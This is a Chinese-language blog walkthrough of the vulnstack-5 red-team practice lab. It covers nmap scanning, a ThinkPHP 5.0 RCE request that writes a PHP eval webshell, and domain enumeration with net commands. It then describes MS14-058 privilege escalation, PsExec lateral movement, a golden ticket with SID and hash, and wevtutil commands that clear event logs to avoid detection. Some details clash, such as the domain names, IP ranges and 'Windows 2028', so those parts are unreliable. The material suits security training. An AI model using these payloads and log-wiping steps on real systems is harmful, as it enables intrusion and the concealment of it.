• vulnstack-5


    环境搭建

    靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。

    虚拟机密码

    win7

    sun\heart 123.com

    sun\Administrator dc123.com

    # win7 web需要打开C盘里的phpstudy,最好关一下防火墙

    2008

    sun\admin 2020.com

    密码修改位:Xiaodi.com

    Win7双网卡模拟内外网

    VMnet2网卡:192.168.25.0/24 外网

    VMnet10网卡:192.168.26.0/24 内网

    设置网卡

    设置win2008网络

    设置win7网络

    查看网段

    Windows 2028

    关闭防火墙

    打开phpstudy设置访问网页

    外网渗透

    端口扫描

    我们使用nmap进行扫描win7:

    nmap -T4 -sC -sV 192.168.16.134

    发现Web服务和Mysql:

    Getshell

    .我们访问80端口,发现是一个thinkphp

    版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞

    漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令

    使用kali的searchsploit查找一下漏洞利用POC:

    searchsploit thinkphp

    )发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:

    cd /usr/share/exploitdb/exploits/php/webapps

    cat 46150.txt

    写入webshell

    http://192.168.16.134/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E

    攻入内网

    域信息收集命令

    net view                 # 查看局域网内其他主机名

    net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

    net user                 # 查看本机用户列表

    net user /domain         # 查看域用户

    net localgroup administrators # 查看本地管理员组(通常会有域用户)

    net view /domain         # 查看有几个域

    net user 用户名 /domain   # 获取指定域用户的信息

    net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

    net group 组名 /domain    # 查看域中某工作组

    net group "domain admins" /domain  # 查看域管理员的名字

    net group "domain computers" /domain  # 查看域中的其他主机名

    net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

    上线cs

    利用插件漏洞ms14-058进行权限提升

    先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域sum.com,如下图所示

    者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

    上面发现 DNS 服务器名为 sum.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域环境可能存在多个域):

    既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 DC:

    已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:

    局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain 查看

    查看域管理员

    net group "domain admins" /domain

    查看目标列表

    新建smb监听器

    横向移动

    Psexec横向移动

    成功上线

    看到连接图

    权限维持

    黄金票据

    搜集到,用户:Administrator,域:sun.com

    SID:S-1-5-21-3388020223-1982701712-4030140183-500

    Hash:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

    注入成功了

    清理日志

    使用wevtutil进行清除

    ps:记住清除痕迹非常重要,某些环境下不清除容易被gangang

    shell wevtutil cl security //清理安全日志

    shell wevtutil cl system //清理系统日志

    shell wevtutil cl application //清理应用程序日志

    shell wevtutil cl "windows powershell" //清除power shell日志

    shell wevtutil cl Setup  //清除(cl)事件日志中的 "Setup" 事件。

  • 相关阅读:
    一键自动化博客发布工具,用过的人都说好(cnblogs篇)
    拥抱数字化转型浪潮,供应链集采管理系统助力照明企业紧抓机遇,快速发展!
    Java项目:JSP鲜花商城网站系统
    13_Nginx_listen指令
    java基础笔记之println和print的区别,以及数据类型转换,运算符
    uniapp 小程序实现底部tabbar的按钮
    前端笔记(6) Vue3 dialog弹窗 父子组件之间传值及方法调用
    json.Unmarshal() 反序列化字节流到 interface{} 对象,字段 int/int64 类型出现精度丢失...
    2023年中国数据存储市场现状及发展前景预测分析
    信息学奥赛一本通:1409:判决素数个数
  • 原文地址:https://blog.csdn.net/m0_74402888/article/details/141093576